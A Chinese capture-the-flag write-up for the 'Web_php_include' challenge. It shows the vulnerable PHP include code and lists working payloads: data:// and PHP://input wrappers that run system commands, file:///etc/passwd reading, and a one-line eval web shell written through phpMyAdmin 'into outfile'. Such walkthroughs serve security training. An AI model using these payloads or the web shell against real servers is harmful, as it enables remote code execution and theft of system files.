当前位置:网站首页>攻防世界(web篇)---Web_php_include
攻防世界(web篇)---Web_php_include
2022-06-09 15:52:00 【肖萧然】
攻防世界(web篇)—Web_php_include
题目
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
hello传值
http://111.200.241.244:57895/?page=http://127.0.0.1/?hello=<?php%system("ls");?>
http://111.200.241.244:57895/?page=http://127.0.0.1/?hello=<?php%show_source("fl4gisisish3r3.php");?>
phpmyadmin写马
路径扫描能找到phpmyadmin

账号root 密码为空
phpmyadmin变量secure_file_priv值为空,说明可以写入一句话木马
show variables like "secure_file_priv";

传成功
select "<?php eval($_POST[1]); ?>"into outfile '/tmp/1.php'

测试

大写绕过 PHP://input
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

data://
http://111.200.241.244:59458/?page=data://text/plain,<?php system("ls")?>
http://111.200.241.244:59458/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
file://协议
用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
即file:// [文件的绝对路径和文件名]
http://111.200.241.244:59458/?page=file:///etc/passwd










边栏推荐
- May training (day 28) - Dynamic Planning
- Experience sharing of technical we media realization -- starting to try to make CSDN's reply one year later
- ESP32-C3单火线智能开关,赋能传统开关智能化升级
- 面试官问我一条update语句加了多少锁?我总结了全套八股文
- May training (day 23) - dictionary tree
- Conference control keyboard instructions for ≥ 3.5-inch LCD screen
- 应用软件效率测试的执行策略
- Qscrollarea use tutorial to realize the setting interface that can slide up and down
- SAP Commerce Cloud 构建过程中的文件夹可写入性问题分析
- How does the memory database give full play to its memory advantage?
猜你喜欢

Read the middle office architecture and Implementation

合约安全之-变量隐藏安全问题分析

Analysis of variable hiding security in contract security

Data security is urgent. What is the significance of the first SOC 2 authentication report for domestic intelligent manufacturers?

Differences between containers and mirrors

重构要点学习

容器和镜像的区别

LeetCode 6077. The total power of wizards and

65 2D绘图(基本绘制和填充)

Dapr source code analysis | basic introduction
随机推荐
Paper supply chain collaborative management system: full link digitalization, realizing intelligent order management and control of supply chain platform
Differences between containers and mirrors
R语言plotly可视化:plotly可视化水平箱图(Horizontal Boxplot)
ASEMI的MOS管9N90参数,9N90电路图,9N90实物图
资深OpenStacker - 彭博、Vexxhost升级为OpenInfra基金会黄金成员
Dapr . Net core example
微信小程序 思维导图
May training (day 30) - topology sorting
还在从零开始搭建项目?这款升级版快速开发脚手架值得一试~
怎么替换或禁用 WordPress 前后台默认的蓝色 favicon.ico 图标
直播预告 | 社交新纪元,共探元宇宙社交新体验
May training (day 25) - tree array
在Flutter中自定义应用程序内键盘
Deepin 编译VirtualBox实录以及编译报错解决
字节一面:网站显示不出来,怎么排查?
May training (day 29) - divide and rule
virtualBox 虚拟机网卡设置
30-year-old mind map
若依 思维导图
R语言广义线性模型函数GLM、glm函数构建逻辑回归模型(Logistic regression)、分析模型是否过离散(Overdispersion)、使用假设检验的方法来分析模型是否过度分散